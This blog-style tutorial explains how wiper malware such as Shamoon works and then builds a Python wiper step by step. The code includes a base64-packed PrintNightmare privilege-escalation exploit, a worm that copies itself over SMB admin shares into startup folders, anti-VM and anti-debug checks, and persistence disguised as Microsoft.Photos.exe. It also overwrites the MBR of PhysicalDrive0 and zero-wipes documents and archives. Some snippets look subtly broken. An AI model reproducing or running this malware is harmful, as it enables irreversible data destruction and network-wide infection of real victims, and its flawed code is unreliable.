In this post, will cover the topic of “Wipers,” how they work, we’ll attempt to replicate some of its features in Python to showcase how it can leverage the simplicity of interpreted languages and third-party libraries to create malicious kits such as Wipers.
—-[Wipers?]
———————————————————————————————————–
Wipers are a type of malware designed to delete or overwrite data on a system, making recovery difficult sometimes even impossible, Here a little background Wiper first appeared in the Middle East in 2012 and a year later in South Korea in 2013. This started a chain of incidents in which a few high-profile companies were completely paralyzed by this malware One of the first major used for cyber warfare was Shamoon (also called W43.DistTrack). Its timeline spans between 2012 and 2016, and later on a wiper variant used to target multiple institutions in Ukraine, Russia and western Europe.
Wipers are mainly focused on data destruction and attempting to damage as many systems as possible. To achieve this, the malware usually spreads to other systems locally using stolen credentials, as seen in the case of Disttrack
. In rare instances, it may exploit a vulnerability for network spreading, which will be our focus in this piece. Before explaining how our malware works, let’s review some samples and analyze their functionalities. We will examine how to reproduce each one on its own and even get inspired to add new features.
I got say this is not a malware analysis article or anything like that. I’ll just cover some of the observations I’ve made and the samples I’ve analyzed, and break down functionality piece by piece in order for us to reproduce our own version or at least have some similarities. I’ll also draw on some great technical articles on Shamoon, specifically version 2.0, including resources from Palo Alto and Symantec.
why are we doing this? For fun and maybe to learn something new!
Analysis & Notes
Usually, Wipers are written and developed with multiple stages in mind. We can split them into two sections: “The Dropper” and “The Wiper.” Before writing this piece, I analyzed some Wiper variants, including older samples like the Shamoon malware family, which inspired this article. So let’s do a simple and short overview and lay down the path of how we will proceed.
The dropper, will contain resources and some functionalities, possibly to install certain necessities or tools that the wiper needs to operate and push the payload itself which for example in Shamoon determined by the architecture it finds. It spreads its code by copying itself to other local networked machines. like any other malware, a wiper can have a communication module to interact with its C2 server, as seen in Disttrack. It may also include backdoor functionality and modules for persistence. if you’re interested in downloading the sample and analyzing it yourself, you can find it here.
Once you start analyzing the entropy of the file, some samples of variant wipers stand out, indicating potential encryption, packed data as a payload, or some form of encrypted data. In the case of Shamoon, it relies on a very common form of encryption for malware because it’s simple and highly optimized at the hardware level. XOR is a built-in instruction for the x86 assembly set, so it can be processed directly by the CPU. While single and double-byte XOR keys generally won’t thwart AV engines, later versions of Shamoon use extremely large XOR keys for resource decryption.
Ransomware and wipers share some techniques. Both walk the disk in search of files to modify or corrupt, But in this latter aspect lies one of the biggest differences between the two payload: ransomware typically enables file restoration for victims who pay the ransom, whereas the objective of wipers is to destroy files beyond recoverability. Another difference is in performance; because wipers need not read the data from disk, they work faster and require fewer resources than ransomware.
Wipers are designed to cause as much damage as possible without crashing the operating system. One technique used is file overwriting, which ensures that the wiper at least inflicts some damage before attempting to wipe the disk or the Master Boot Record (MBR). The standard method to overwrite a file is by using the CreateFile and WriteFile API combination. This basic technique has been seen in Shamoon variants such as StoneDrill. Some samples overwrite the entire file, while others overwrite only a fixed number of bytes.
Why overwrite instead of just deleting? In this case, data can still be recovered from the disk using file carving techniques used in digital forensics. Remember, the goal of wipers is to be destructive; they are designed to prevent the victim from recovering their files. Most wipers are used in cyber warfare, motivated by their destructive impact rather than financial gain or espionage. Secure deletion, such as that seen in Shamoon wipers, is not always implemented in other wiper families. However, even without secure deletion(Overwrite), wipers are still considered destructive because file carving is not a perfect recovery technique.
Some wipers are equipped to destroy the whole disk, not just individual files. Overwriting raw sectors one after another is super effective because it speeds up the wiping process significantly. This method also wipes out file system details like partition tables, journaling, parity data, metadata, and even OS-protected files, which usually need admin rights. That’s why you’ll often see wipers including techniques to elevate privileges and check for admin access.
Wipers use the CreateFile and WriteFile APIs to overwrite physical disks (.\PhysicalDisk0) and/or volumes (.\C:) with either random or predefined byte buffers. “PhysicalDisk0” lets you access the first sector of a disk, where the Master Boot Record (MBR) is kept, while “.\C:” lets you reference the first sector of a partition. The MBR is a crucial structure in the first sector that holds info about how the disk is divided into partitions. If this structure is deleted, the system becomes unbootable.
Some wipers go for newer techniques, using WriteFile APIs to overwrite the physical disk. For instance, CaddyWiper wipes the disk by sending an Input/Output Control (IOCTL) code. The IOCTL_DISK_SET_DRIVE_LAYOUT_EX IOCTL is sent through the DeviceIoControl API with a buffer full of zeros, erasing information about drive partitions, including the MBR and/or GUID Partition Table (GPT).
Experienced malware authors usually overwrite with random bytes. They generate random data to use while wiping files. The reason for this is that using the same byte value repeatedly doesn’t slow down the wiping process, but it might leave a chance for data recovery. By overwriting the disk or file multiple times with random data, they make it almost impossible for techniques like magnetic-force microscopy to recover the data.
Often, random buffers are created using seed and rand functions before being written to the file. Generating random data can add extra overhead, which makes the wiping process take longer.
When it comes to user-land attacks, especially targeting high-value targets, there are some serious limitations. These attacks are closely monitored by antivirus and XDR vendors, who use API hooking and block certain actions. With newer updates, Microsoft will likely start restricting access to raw disk sectors from user mode. To get around this, attackers might move to kernel space, but that’s a whole other topic. Plus, Python isn’t really the right language for this it’s doable but not ideal.
For instance, some Shamoon variants use different versions of the ElRawDisk driver. This driver acts as a go-between, handling disk operations in kernel mode rather than user mode. It helps the wiper bypass any restrictions that user mode processes might face when interacting with the disk directly. Since this is a third-party driver, the malware needs a way to install it on the infected machine. Usually, this involves dropping the driver onto the disk and loading it using the Service Control Manager APIs or the sc.exe
tool. Legitimate drivers are often seen as “clean” by security vendors, so they aren’t blocked when installed.
Wiper Modules
Alright, now that we have an idea of the techniques out there, let’s write some code. First, I’ll show you the code and then give you a general idea of how this “malware” works. The code is split into two components, and the techniques you’ll see in this malware come from public samples, as seen above
Keep in mind, this isn’t “true” malware it’s just a basic example, Python probably isn’t the best choice for this purpose. Being an interpreted language, it requires an interpreter to run, Plus, it’s highly monitored, so other languages that work at a lower level and can be compiled might be better options. But hey, where’s the fun in malware if it’s only written in the usual suspects? Experimenting with different languages and techniques can yield some fascinating results, and sometimes the most unconventional methods can lead to unexpected results.
Design and Flow
The malware starts by setting things up and running a few basic checks. It makes sure it has admin rights, checks the system’s architecture, and sees if it’s online. If it’s not an admin, it tries to re-run itself with the right permissions. It also installs any missing components and sets up to stay active after a reboot, like putting itself in the Windows Startup folder or messing with the registry.
Once it’s in control, the malware tries to escalate its privileges, using any exploits it can find to get full access. With those higher permissions, it does its main job scanning the network for other vulnerable machines, dropping its payload on them, and potentially taking over remote control if it finds any open ports.
It also gets destructive by overwriting the MBR to mess up the system’s boot process and forces a shutdown, making it a real pain to recover from. Finally, it cleans up, deleting files and traces to make it harder to figure out what happened. This way, it hides its tracks and makes sure it’s tough to spot or clean up.
LPE
So, I was thinking about what kind of exploit to throw into the malware for priesc, and bingo! Remeber “CVE-2021-34527,” a critical RCE and LPE vulnerability known as “PrintNightmare.” There’s already a PoC out there for local privilege escalation, and I found this repo with a PowerShell implementation of the exploit. The PowerShell script uses PrintNightmare to try and elevate local privileges on the system.
So how does it work? The PrintNightmare exploit code is base64-encoded to keep it hidden. The script assigns this encoded string to PrintNightmare
, decodes it, and writes it to a PowerShell script file (.ps1
). This is all handled in the PrivEsc()
function.
def PrivEsc():
if not is_admin():
NightmareCVE = base64.b64decode(PrintNightmare).decode()
d_path = f"c:/users/{os.getlogin()}/appdata/local/temp/{random_string(random.randrange(5,12))}"
with open(f'{d_path}.ps1', 'w+') as cve:
cve.write(NightmareCVE)
Here, base64.b64decode(PrintNightmare).decode()
decodes the payload and writes it to a file in the local temporary directory. The script checks if it has admin privileges; if not, it goes for privilege escalation.
Next, we set up a RunPwsh()
function to execute the PowerShell script with the PrintNightmare exploit. Inside run_pwsh()
, the command import-module {d_path}.ps1; Invoke-Nightmare -NewUser '{os.getlogin()}' -NewPassword 'foo1234!!!!'
is run. This command imports the PowerShell module and calls the Invoke-Nightmare
function to try and escalate privileges.
The Invoke-Nightmare
function in the PowerShell script is where the real privilege escalation happens, exploiting the Windows Print Spooler vulnerability. The code snippet below shows how the script tries to run the exploit.
def run_pwsh(code):
p = subprocess.run(['powershell', code], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
return p.stdout.decode()
Worm
Once this module runs and we successfully exploit a vulnerable system, the worm-spreading functionality is initiated, targeting every network host within the IPv4 address range. The malware systematically scans the local network and attempts to propagate itself to each reachable IP address, Identifying active hosts, and deploying the payload on the compromised machines.
This module is responsible for the worm’s ability to autonomously propagate across a network by scanning for vulnerable ports, scans the local network for machines with open ports commonly associated with vulnerable services, such as SMB (port 445) and RDP (port 3389), If vulnerable ports are found, it drops payloads via SMB shares or attempts to use remote desktop to access and infect other systems.
def VulnPort() -> dict:
portss = {'445', '3389', '5985'}
clients = []
vuln = dict()
local_ip = GetLan()
for addr in local_ip:
range = ipaddress.ip_network(f"{addr.strip().split('.')[0]}.{addr.strip().split('.')[1]}.1.0/24")
for ip in range.hosts():
for port in portss:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = s.connect_ex((ip, port))
if result == 0:
if vuln.get(ip):
vuln[ip] +=f',{port}'
else:
vuln[ip] = str(port)
return vuln
def AbuseOports():
smb = '445'
mstsc = '3389'
ports = VulnPort()
for ip, open_ports in ports.items():
open_ports = open_ports.strip().split(',')
for port in open_ports:
if port == smb:
DropShare(ip)
elif port == mstsc:
mstsc_nightmare(ip)
else:
pass
Retrieves a list of local IP addresses and ranges using the ipconfig
. For each IP address in the range, it checks if the target ports (445 for SMB, 3389 for RDP) are open using the VulnPort
function, If a vulnerable port is found, the function attempts to either drop files on SMB shares or connect via RDP.
Spreading via Network Shares (DropShare)
The function DropShare(ip, port=445)
attempts to access network shares on remote machines (e.g., C$
, ADMIN$
shares), If it successfully connects to a share, it tries to drop a the malware (Microsoft.Photos.exe
) into the startup folder of users on the remote machine. This file is intended to execute automatically on system startup, enabling the worm to persist on the infected machine and continue spreading.
def DropShare(ip, port=445):
default_shares = [l + '$' for l in string.ascii_uppercase]
default_shares.append('ADMIN$')
cl = RepFile[0]
exclude_users = ['Default', 'Public', 'All']
for share in default_shares:
try:
a = os.chdir(f"//{ip}/{share}")
if share == 'C$' or 'Users' in os.listdir():
for user in os.listdir('Users'):
if any(i for i in exclude_users not in user):
os.makedirs(
f"//{ip}/{share}/users/{user}/appdata/roaming/microsoft/windows/start menu/programs/startup/",
exist_ok=True)
os.chdir(f"//{ip}/{share}/users/{user}/appdata/roaming/microsoft/windows/start menu/programs/startup/")
with open('Microsoft.Photos.exe','w+') as n:
n.write(base64.b64decode(cl).decode())
except FileNotFoundError:
continue
pass
Anti-Analysis
Next, for fun, we threw in a few tricks for Anti-Virtualization and Anti-Analysis. Once the modules are run, we check if the program is running inside a virtual machine (IsVirtualized
) and attempt to terminate it if such an environment is detected, We played around with API Function Hooks, introducing functions like IsDebuggerPresent()
, CheckRemoteDebuggerPresent()
, and NtQueryInformationProcess()
to sniff out the presence of a debugger.
Then there’s the Uptime Check, which assesses the system’s uptime to determine if it’s been running long enough to be a real user environment rather than a fresh virtual machine or sandbox setup. It retrieves the system’s uptime using GetTickCount()
and compares it against a specified threshold (durationInSeconds
).
def GetUptimeInSeconds():
uptime = getTickCount()
return int(uptime / 1000)
def CheckUptime(durationInSeconds):
uptime = GetUptimeInSeconds()
if uptime < durationInSeconds:
return True, None
else:
return False, None
We also threw in a trick called RecentFileActivityCheck()
, which checks the number of files in the Recent
folder and compares it to a threshold (e.g., fewer than 20 files). A low number of recent files might indicate that the environment is a virtual machine or sandbox. And, of course, we sprinkled in some Randomization to keep the malware unpredictable and harder to analyze.
def RecentFileActivityCheck():
try:
recdir = os.path.join(os.getenv('APPDATA'), 'microsoft', 'windows', 'recent')
files = os.listdir(recdir)
if len(files) < 20:
return True, None
except Exception as e:
return False, f"Debug Check: Error reading recent file activity directory: {e}"
return False, None
Wiper
As observed in the analysis and notes from various samples, the destructive functionality of the script involves overwriting the Master Boot Record (MBR) of a machine, rendering it unbootable. The code required to perform this operation is surprisingly straightforward. In our implementation, we focus on the Wiper and Overwrite functionalities, which necessitate direct access to the raw device.
To overwrite the MBR, we first need to open a write handle to the physical device using the CreateFile
API. This is crucial because the MBR is located in the very first sector (512 bytes) of the hard drive, which is outside the C:\ NTFS volume. As a result, we require direct write access to the raw device rather than just the file system.
The MBR occupies the first 512 bytes of the hard drive. Since this area is outside the NTFS file system, we need direct access to overwrite it. The offset for the MBR is 0
because it is the very first sector. However, this technique can also be applied to overwrite other unallocated sectors outside the file system, where the offset should be adjusted accordingly.
Now, let’s get started with the overwriting process. First, we need to create a handle to the boot sector, which is why we’re using CreateFileW
. This function allows us to create a handle to the MBR. We’ll use GENERIC_WRITE
to obtain write permissions, and FILE_SHARE_READ | FILE_SHARE_WRITE
to ensure that other applications can still access the MBR while we’re working with it.
hDevice = CreateFileW(r"\\.\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, 0)
Our boot sector data.
buffer = bytes([
# BOOT SECTOR DATA
0xE8, 0x15, 0x00, 0xBB, 0x27, 0x7C, 0x8A, 0x07, 0x3C, 0x00, 0x74, 0x0B, 0xE8, 0x03, 0x00, 0x43,
0xEB, 0xF4, 0xB4, 0x0E, 0xCD, 0x10, 0xC3, 0xC3, 0xB4, 0x07, 0xB0, 0x00, 0xB7, 0x04, 0xB9, 0x00,
0x00, 0xBA, 0x4F, 0x18, 0xCD, 0x10, 0xC3, 0x59, 0x6F, 0x75, 0x72, 0x20, 0x73, 0x79, 0x73, 0x74,
0x65, 0x6D, 0x20, 0x68, 0x61, 0x73, 0x20, 0x62, 0x65, 0x65, 0x6E, 0x20, 0x64, 0x65, 0x73, 0x74,
0x72, 0x6F, 0x79, 0x65, 0x64, 0x21, 0x0D, 0x0A, 0x4C, 0x69, 0x6B, 0x65, 0x20, 0x26, 0x20, 0x53,
0x75, 0x62, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x21, 0x0D, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
# Padding with zeros
# Add zeros as required to fill the boot sector
# The MBR typically contains 512 bytes, but this may vary
# depending on specific requirements
0x00] * 446 + [0x00, 0x00, 0x55, 0xAA]) # MBR signature
""" return bytes([random.randint(0, 255) for _ in range(bytes_to_write)]) """
In this code, the bytes([random.randint(0, 255) for _ in range(512)])
line is a placeholder to generate a sequence of 512 random bytes. This buffer will overwrite the MBR and includes the standard boot sector signature 0x55AA
to ensure it’s recognized correctly.
Finally, we overwrite the Master Boot Record with our buffer:
bytes_written = WriteFile(hDevice, buffer, None)
CloseHandle(hDevice) # Release the memory allocated to the handle
Before we move on to the complete MBR destruction, we added a sample yet damaging function SetFiles
. which is designed to destroy or corrupt files on the system by targeting specific file types. After all the checks are done, whether they pass or fail, the malware will search for files with certain extensions and overwrite their contents with zero bytes (0x00
), effectively erasing the original data.
def SetFiles():
ext = [".docx", ".pdf", ".rar", ".zip", ".7z",
".tar.gz", ".tar", ".sql", ".sqlite3",
".html", ".jpeg", ".log", ".bak", ".png"] # files to seek out and overwrite
for dirpath, dirs, files in os.walk(f"C:\\Users\\{os.getlogin()}\\{os.getcwd()}"):
for f in files:
path = os.path.abspath(os.path.join(dirpath, f))
if f.endswith(tuple(ext)):
with open(f, "rb") as files:
data = files.read()
files.close()
with open(f, "wb") as files:
data.write(b'\x00') # Overwrites multiple files with zero bytes (hex 00)
data.close()
It targets various file types, such as documents, archives, and databases. By overwriting these files with zeros, it corrupts their content!! and once all is set and done, we trigger a shutdown using WinAPI functions like InitiateSystemShutdown
.
BOOL InitiateSystemShutdown(
LPCWSTR lpMachineName, // Name of the target machine (or NULL for local machine)
LPCWSTR lpMessage, // Message to display to the user
DWORD dwTimeout, // Timeout in seconds before shutdown
BOOL bForceAppsClosed, // Whether to forcefully close running applications
BOOL bRebootAfterShutdown // Whether to reboot after shutdown
);
Initial Access & Persistence
So, how does all this click together? Let’s revisit some functions we haven’t mentioned yet and cover the design from start to finish. Alright, we know Python needs an interpreter installed to execute code. However, an alternative option would be to compile the code using PyInstaller, which bundles the code and all its dependencies into a single package. The user can then run the packaged app without needing to install a Python interpreter or any modules.
But there’s a catch: PyInstaller is heavily flagged in many environments because it’s frequently used by attackers. As a result, antivirus (AV) and heuristic analysis often flag the app as suspicious. To address this, we can work around these issues by introducing obfuscation and employing a multi-stage operation. This means splitting the code into multiple stages and components, making each infection unique and minimizing the footprint to avoid heuristic analysis by AV. Additionally, this approach helps ensure that the malware remains effective throughout the operation’s success.
One trick we introduce is that the first component acts as an installer and performs several checks. It checks if the application is running with administrative privileges. If not, it will attempt to relaunch itself with elevated rights using “runas” and prompt for UAC (User Account Control) elevation. It also verifies whether the system architecture is 64-bit.
The reason for checking the architecture is to determine if a specific version of Python is installed. If Python is not found, the component will use a hardcoded URL and version within the install_python
function to install Python. It determines the appropriate Python installer URL based on the system architecture, uses PowerShell’s Start-BitsTransfer
to download the installer, and runs the installer silently with the specified options.
def is_python_installed(self):
return bool(os.path.exists("C:\\Python39"))
def install_python(self):
if not self.is_python_installed():
architecture = "amd64" if self.is_64bit() else "x86"
python_version = "3.9.1"
url = f"https://www.python.org/ftp/python/{python_version}/python-{python_version}-{architecture}.exe"
random_generator = random.randrange(111, 9999999)
temp_path = f"C:\\Users\\{os.getlogin()}\\AppData\\Local\\Temp\\{random_generator}.exe"
subprocess.run(["powershell", "-Command", f"Start-BitsTransfer -Source {url} -Destination {temp_path}"])
time.sleep(10)
if os.path.exists(temp_path):
subprocess.run([temp_path, "/quiet", "InstallAllUsers=0", "Include_launcher=0", "PrependPath=1", "Include_test=0"])
os.remove(temp_path)
We will store the next stage of the malware in the code as data and XOR it with a key. This allows the next stage to be decrypted and executed once all the above conditions are checked with no errors. You might wonder why we don’t just check for virtual machines and other analysis environments directly and why we install Python and perform simple checks, such as system architecture.
def xor(data, key):
return bytearray(a^b for a, b in zip(*map(bytearray, [data, key])))
If we did that, we would be flagged, as AV would detect the anti-analysis tricks and self-detection mechanisms, causing the first stage of the code to be flagged and preventing it from establishing a successful foothold. Instead, the initial phase will appear as if it’s simply performing some installation tasks before launching the second wave. This second wave will attempt to escalate and move things to the final stage.
global application_path
if getattr(sys, 'frozen', False):
application_path = sys.executable
else:
application_path = os.path.dirname(os.path.abspath(__file__))
temp_dir = f"c:/users/{os.getlogin()}/appdata/Local/Temp/{random_string(random.randrange(3, 20))}/"
temp_path = f"{temp_dir}/{random_string(random.randrange(3, 8))}.py"
temp_entry = f"{temp_dir}/{random_string(random.randrange(3, 12))}.py"
temp_file = temp_path.split('/')[-1]
source_code = """!!!!"""
if not IsPythonInstalled():
InstallPython()
subprocess.run(["python", "-m", "pip", "install", "--upgrade", "pip"], check=True)
subprocess.run(["python", "-m", "pip", "install", "pyinstaller"], check=True)
The first real check we perform is to see if the system has an active internet connection. If not, the malware will stop. This is a cautious approach to avoid detection and ensure we don’t “shoot ourselves in the foot.”
The code provided is designed to ensure the malware remains active on the system. The SetReg and GetReg functions are used to interact with the Windows Registry, allowing the malware to store and retrieve important data.
def SetReg(name, value):
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0,
winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, name, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
return 1
except WindowsError:
return 0
def GetReg(name):
try:
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0,
winreg.KEY_READ) as registry_key:
value, regtype = winreg.QueryValueEx(registry_key, name)
return value
except WindowsError:
return ''
The Persist function takes care of creating a startup item by writing a decoded file to the Windows Startup folder. By naming the file Microsoft.Photos.exe, the malware ensures it will automatically execute every time the user logs in, maintaining its presence on the system.
The next step will involve setting up a simple persistence mechanism to ensure that the malware can continue operating, even if the system is restarted. The code itself is fairly sample, focusing on keeping the malware running in the background without drawing attention.
def Persist():
cl = RepFile[0]
with open(
f"c:/users/{os.getlogin()}/appdata/roaming/microsoft/windows/start menu/programs/startup/Microsoft.Photos.exe",
'w+') as g:
g.write(base64.b64decode(cl).decode())
return 0
Stop-Process
There are many more advanced methods that perform real, destructive operations and go to great lengths for zero recovery, sabotaging their targets’ operations. This provides a summary of some observed wiper families and demonstrates that an actor can use available techniques and the simplicity of Python to create something damaging, That’s all for now. Until next time!